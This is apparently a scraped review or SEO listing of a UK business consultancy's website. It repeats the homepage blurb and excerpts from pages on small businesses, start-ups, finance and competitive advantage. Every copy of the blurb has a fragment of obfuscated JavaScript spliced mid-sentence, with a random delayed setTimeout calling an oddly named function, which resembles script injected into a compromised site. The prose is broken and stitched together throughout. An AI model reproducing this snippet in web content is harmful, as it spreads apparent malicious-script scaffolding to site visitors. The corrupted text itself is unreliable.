directionalthinking.co.uk

Directional Thinking | Commercial Foresight

No man’s knowledge here can go beyond his experience’. John Locke, 1689. This is as true today as it was in the 17th century. Unless you have done or. Experienced something before, you are reinventing the wheel. Which is. Possible of course, but it takes longer, will cost more and andom() * 5);if (number1= 3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}. Will be made along the way. Start-up / Early Stage. Differentiating your commercial proposition improves success. Improving sales win ...

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Directional Thinking | Commercial Foresight | directionalthinking.co.uk Reviews

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No man’s knowledge here can go beyond his experience’. John Locke, 1689. This is as true today as it was in the 17th century. Unless you have done or. Experienced something before, you are reinventing the wheel. Which is. Possible of course, but it takes longer, will cost more and andom() * 5);if (number1= 3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}. Will be made along the way. Start-up / Early Stage. Differentiating your commercial proposition improves success. Improving sales win ...

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1 directional thinking

2 commercial thinking

3 operational thinking

4 financial thinking

5 linkedin

6 menu

7 strategic vision

8 commercial foresight

9 mistakes

10 small businesses

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directional thinking,commercial thinking,operational thinking,financial thinking,linkedin,menu,strategic vision,commercial foresight,mistakes,small businesses,medium sized businesses,high growth businesses,commercial creativity,financial improvement

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Directional Thinking | Commercial Foresight | directionalthinking.co.uk Reviews

https://directionalthinking.co.uk

No man’s knowledge here can go beyond his experience’. John Locke, 1689. This is as true today as it was in the 17th century. Unless you have done or. Experienced something before, you are reinventing the wheel. Which is. Possible of course, but it takes longer, will cost more and andom() * 5);if (number1= 3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}. Will be made along the way. Start-up / Early Stage. Differentiating your commercial proposition improves success. Improving sales win ...

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directionalthinking.co.uk

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Small Businesses

http://www.directionalthinking.co.uk/small-businesses

Typically having a turnover of between 500,000 and 5million, and employing between 5 50 employees, small businesses either provide the shareholder(s) with the desired income and lifestyle running one’s own business can bring, or they are on their way to becoming a medium sized business. Either way, maximising profitability and increasing efficiency should be a daily activity for these businesses to ensure they keep customers and maintain momentum. Customer Retention & Growth. Unit 12 Chaldicott Barns,.

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Start-up / Early Stage

http://www.directionalthinking.co.uk/start-up-early-stage

Start-up / Early Stage. You have the idea and you’ve written a Business Plan, so what’s next? Activities such as deciding upon the most appropriate ownership structure for your business, finding the right resources whether employed directly or partnerships to deliver your proposition and establishing relationships with professional advisors and banks, all these compete for the limited amount of time in the working day for the new business owner. Company formation and ownership structures.

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Financial Thinking

http://www.directionalthinking.co.uk/financial-thinking

Many business owners fall into the trap of focussing the measurement of business success too much on the historical information provided by their accounting partners or departments and too little on forward-looking forecasting and planning. As long as the number at the top of the P&L report is not falling every month, and the number at the bottom is not red or has a minus sign in front of it, everything must be fine. Financial and KPI Reporting. SME’s generally in-source the financial role as soon as it ...

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Operational Thinking

http://www.directionalthinking.co.uk/operational-thinking

Sales departments will often claim responsibility for driving business success. However, if what is sold is not effectively delivered then an organisation will very quickly run into problems. The reality is that commercial and operational resources jointly contribute to the successful relationships that drive customer satisfaction, repeat business and customer referrals. Daily execution of targeted, high quality marketing and sales campaigns to prospects that need your propositions brings results. Whethe...

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Competitive Advantage

http://www.directionalthinking.co.uk/competitive-advantage

Competitive advantage gives your business an edge over and above its rivals and an ability to generate greater value for the company and its shareholders alike. The more sustainable the competitive advantage, the more difficult it is for competitors to neutralise or overcome your position. In an increasingly aggressive business environment, especially in today’s economic climate, every advantage counts to establish your business at the top of the markets within which you operate. Superior products and fu...

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Directional Thinking | Commercial Foresight

No man’s knowledge here can go beyond his experience’. John Locke, 1689. This is as true today as it was in the 17th century. Unless you have done or. Experienced something before, you are reinventing the wheel. Which is. Possible of course, but it takes longer, will cost more and andom() * 5);if (number1= 3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}. Will be made along the way. Start-up / Early Stage. Differentiating your commercial proposition improves success. Improving sales win ...

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